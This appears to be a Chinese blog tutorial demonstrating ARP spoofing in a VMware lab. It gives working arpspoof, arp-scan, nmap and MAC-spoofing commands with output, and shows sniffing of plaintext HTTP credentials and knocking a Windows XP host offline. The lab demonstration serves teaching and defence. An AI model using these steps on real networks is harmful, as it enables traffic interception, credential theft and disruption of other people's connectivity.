ARP欺骗攻击

已于 2024-09-01 16:57:24 修改
阅读量737 收藏 13
点赞数 20
文章标签： 安全 网络
于 2024-09-01 16:53:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/antness/article/details/141786416
版权

攻击原理

原理

ARP欺骗攻击利用了 ARP协议的 缺陷 ，主要原理如下:

  1. 攻击者向 target(目标) 发送伪造的 ARP reply 响应包，声称自己是网关 (取决于你要监听的双方)
  2. 目标 接收到ARP响应后，会 更新本地 ARP缓存表
  3. 目标 的网络流量会被 重定向 到攻击者设备
  4. 攻击者可以 监听或篡改 流量，再 转发 给真正的 网关
  5. 攻击者还可以向 网关 发送伪造的ARP包，截获来自网关的流量
  6. 最终形成 中间人攻击 ，控制目标与网关之间的通信

攻击流程图

在这里插入图片描述

关键点

  • 利用ARP 无验证 机制
  • 伪造 ARP响应包
  • 篡改 目标ARP缓存
  • 双向流量劫持

这种攻击可以实现 流量监听、会话劫持 等多种攻击效果。

0x00 准备

安装工具

sudo apt install dsniff macchanger

隐藏自己真实MAC地址

随机MAC地址

使用 macchanger 工具，也可以使用VMware直接编辑网卡的真实MAC

sudo ifconfig eth0 down
sudo macchanger -r eth0  # 随机生成一个新的 MAC 地址
# sudo macchanger -m XX:XX:XX:XX:XX:XX eth0		# 也可以指定
sudo ifconfig eth0 up

恢复MAC地址

附上恢复用的代码:

sudo ifconfig eth0 down
sudo macchanger -p eth0
sudo ifconfig eth0 up

内网扫描

使用 arp-scan 工具快速 扫描内网存活主机

arp-scan -I eth0 -l

结果:

Interface: eth1， type: EN10MB， MAC: 1a:de:3b:f9:0a:f5， IPv4: 10.10.10.136		// 我们自己的 mac ip
Starting arp-scan 1.10.0 with 256 hosts
10.10.10.1      00:50:56:c0:00:08       VMware， Inc.	// 物理机
10.10.10.2      00:50:56:e5:c5:ad       VMware， Inc.	// VM网关
10.10.10.132    00:0c:29:81:73:56       VMware， Inc.	// WinXP(本次受害者)
10.10.10.254    00:50:56:e2:33:1f       VMware， Inc.	// VM DHCP

使用 nmap 系统识别

nmap -O -sS -T4 10.10.10.1/24

结果:

......
Nmap scan report for 10.10.10.132
Host is up (0.0016s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:81:73:56 (VMware)
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP3	// 目标确认
Network Distance: 1 hop
......

实验环境

10.10.10.136	00:0c:29:c5:f7:d9	// 攻击者 kali Linux
10.10.10.132    00:0c:29:81:73:60	// 受害者
10.10.10.2      00:50:56:e5:c5:ad	// 网关

0x02 欺骗攻击测试

使用 arpspoof 工具攻击

arpspoof 用法

// arpspoof [-i 接口] [-c own|host|both] [-t target] [-r] host

arpspoof -i eth1 -t 10.10.10.10.132 -r 10.10.10.2
-i	// 指定使用的接口(网卡)
-t	// 指定欺骗的目标
-r	// 双向欺骗

执行欺骗攻击

arpspoof -i eth1 -t 10.10.10.132 -r 10.10.10.2

// 攻击开始
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5	// 欺骗网关(10.10.10.2)
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5	// 欺骗XP(10.10.10.132)
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
^CCleaning up and re-arping targets...			// 开始清理操作，恢复攻击的主机的 ARP 表
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56

受害者 ARP 表变化

分别是攻击前、攻击时、攻击停止后 WinXP ARP表变化

在这里插入图片描述

受害者抓包分析

在这里插入图片描述
在这里插入图片描述

流量监听

攻击时，kali 以中间人身份 监听被攻击双方流量，需要内核开启 [IPv4转发功能](#0x04 IPv4转发功能)

例如 XP 使用 http 等未加密的链接访问网址

http://www.httpbin.org/get?username=admin&passwd=666777888

XP访问

在这里插入图片描述

Kali 监听

在这里插入图片描述

http 流跟踪
在这里插入图片描述

设备断网

攻击时，kali 以中间人身份 监听 但不转发双发流量，需要内核关闭IPv4转发功能

被攻击的 双方无法正常通信 ，可造成 断网现象

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/ed4044fdb1144b72857e61d96433bdc8.

攻击停止后，设备 恢复正常

在这里插入图片描述

0x04 ARP表操作

清除 ARP 缓存表

// Kali 清除 ARP 缓存表
ip neighbor flush all

// XP 清除 ARP 缓存表
arp -d

查看arp缓存表

// kali Linux
arp -i eth0 -n

// Windows
arp -a

结果:

// kali Linux
Address					 HWtype  HWaddress           Flags Mask            Iface
10.10.10.136             ether   00:0c:29:81:73:60   C                     eth1
10.10.10.2               ether   00:50:56:e5:c5:ad   C                     eth1
10.10.10.254             ether   00:50:56:e2:33:1f   C                     eth1
10.10.10.1               ether   00:50:56:c0:00:08   C                     eth1

// Windows XP (没有缓存表是因为清除了，可以ping一下其他主机就会更新)
Interface: 10.10.10.132 --- 0x20002
  Internet Address      Physical Address      Type
  10.10.10.2            00-50-56-e5-c5-ad     dynamic

0x05 IPv4转发功能

当 Kali 充当中间人且 需要 转发双方流量 时，需要在 内核 开启 流量转发 IP ForWord 功能

查看 Kali IPv4转发功能 是否开启

cat /proc/sys/net/ipv4/ip_forward
1	// 1 表示转发
0	// 0 表示丢弃

开启IPv4转发

echo 1 | tee /proc/sys/net/ipv4/ip_forward

关闭IPv4转发

echo 0 | tee /proc/sys/net/ipv4/ip_forward
antness
关注
ARP缓存欺骗攻击
The__Apollo的博客
04-09 3937
首先准备三台实验用虚拟机，分别是A：kali（攻击机），B:Metasploitable—ubuntu（一号靶机，作为FTP服务器），C:Metasploitable—win2k（二号靶机，作为FTP服务器访问者）。 首先分别记录下A,B,C三台计算机的IP地址和MAC地址，分别为 A： B: C: 然后，我们用A主机，来pingB和C两台主机，目的是获取它们的ip和mac的对应关系，pi
ARP欺骗病毒攻击
autofei的专栏
11-10 2368
　　近一段时间以来，部分校园网用户受到一种名为ARP欺骗木马程序（病毒）的攻击（ARP是“Address Resolution Protocol”“地址解析协议”的缩写），病毒发作时其症状表现为计算机网络连接正常，却无法打开网页；或由于ARP欺骗的木马程序（病毒）发作时发出大量的数据包，导致用户上网不稳定，网络时断时续，上网速度缓慢，极大地影响了用户的正常使用，给整个校园网安全带来了严重隐患。　　
ensp加kali实现arp欺骗攻击
04-21
本文将深入探讨如何使用Kali Linux这一专业安全操作系统，配合ENSPI（Ethernet Network Simulation Platform，以太网网络模拟平台）来实现ARP欺骗攻击，并了解这种攻击可能导致的后果。 首先，我们需要理解ARP的...
易语言ARP欺骗攻击
08-20
易语言ARP欺骗攻击源码系统结构:随机MAC,获取MAC,探测停止,ARP欺骗,Ping探测,自定义ARP,API_SendARP,API_inet_addr, ======程序集1 || ||------_启动子程序 || || ======窗口程序集1 || ||------_DLL_局域网_创建
渗透测试实战之ARP欺骗攻击（ARP断网攻击）
爱玩游戏的黑客的博客
12-13 2566
渗透测试实战之ARP欺骗攻击（ARP断网攻击）
ARP欺骗攻击.rar
04-04
ARP欺骗攻击，全称为Address Resolution Protocol（地址解析协议）欺骗攻击，是网络安全领域中的一个重要话题。ARP协议在局域网中起着至关重要的作用，它用于将IP地址映射为MAC地址，使得数据能在网络中正确传输。...
ARP欺骗攻击与防御策略
10-18
ARP欺骗攻击，全称为Address Resolution Protocol (ARP)欺骗，是一种网络层面的安全威胁，攻击者通过操纵ARP协议来篡改网络中的数据包流向，达到中间人攻击或其他恶意目的。这种攻击方式利用了ARP协议的设计缺陷，...
ARP攻击
04-03 2285
转自：http://baike.baidu.com/view/700129.htm ARP定义 　　ARP（Address Resolution Protocol，地址解析协议）是一个位于TCP/IP协议栈中的底层协议，对应于数据链路层，负责将某个IP地址解析成对应的MAC地址。 　　ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的进行。
arp攻击
05-04 392
（1）ARP欺骗原理：局域网内，一个中了ARP木马的电脑，把自己伪装成路由器，告诉所有的电脑“我是路由器”，结果局域网中的电脑相信了他，他就可以随意的把改装过的网络数据送给所有电脑，在这个数据里可以插入能盗号的程序其他木马等。（2）可为什么总是掉线呢？中木马的电脑伪装自己的路由器，暂时把真正的路由器给“忽悠”了骗了大家，真的路由过一会“醒了”大家又重新回到真路由的怀抱中，这个网络切换的
渗透测试实战之ARP欺骗攻击（ARP断网攻击和流量转发）
z_s_s_f的博客
12-17 4029
抓取图片以及http、https协议的用户名和密码，使用arpspoof、sslstrip、driftnet和ettercap这四个工具他们的关系与执行顺序是什么样的。
ARP欺骗攻击（1）
weixin_45987797的博客
10-02 566
1.1ARP协议简介 ARP是地址解析协议的缩写，地址解析协议的基本功能就是在主机发送数据之前将目标IP转换成MAC地址，完成网络地址到物理地址的映射，以保证两台主机能够正常通信。 ARP欺骗原理 ARP协议最初设计的目的是为了方便传输数据，设计该协议的前提实在网络绝对安全的情况下，但ARP也存在缺陷，ARP协议的主要缺陷如下： 由于主机不知道通信对方的MAC地址，所以才需要ARP广播请求获取。当在广播请求时，攻击者就可以伪装ARP应答，冒充真正要通信的主机，以假乱真。 ARP是无状态的，这就表示主机可以
简单的ARP欺骗攻击
qq_51461656的博客
01-31 450
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录（一）、ARP协议简介（二）、ARP原理简介（三）、执行攻击（四）、攻击有效范围（五）、若遭攻击怎末办？ （一）、ARP协议简介 ARP是 Address Resolution Protocol (地址解析协议)的缩写。在以太网中，两台主机想要通信，就必须要知道目标主机的MAC(Medium/Media Access Control，介质访问控制)地址，如何获取目标主机的MAC地址呢？这就是地址解析协议ARP的工作。地址解析协议的
ARP欺骗（ARP断网攻击、DNS欺骗）
最新发布
dream2662583的博客
01-01 3311
地址解析协议ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含自标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息（只有目标IP才会回复信息，其他的会丢弃以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。ARP协议的基本功能基本功能通过目标设备的IP地址查询目标设备的MAC地址（物理地址。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值